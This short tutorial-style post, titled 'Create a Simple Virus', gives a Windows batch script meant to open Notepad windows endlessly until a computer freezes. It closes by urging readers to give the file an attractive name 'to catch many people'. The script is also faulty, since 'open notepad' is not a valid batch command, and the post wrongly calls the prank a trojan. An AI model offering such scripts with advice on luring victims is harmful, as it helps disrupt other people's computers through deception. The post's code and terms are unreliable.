Create a Simple Virus

Using a notepad we can create a simple trojan virus... such as NOTEPAD MULTIPLIER
 

Just perform the following steps-

• Open notepad..

• Type-

@echo off
:start
open notepad
goto start

• Save it as notepad multiplier.bat and you're done.
  

Open it and you'll see a thousand notepads,and will go on opening until ur computer gets freezed.
Do name it attractively to catch many people ;)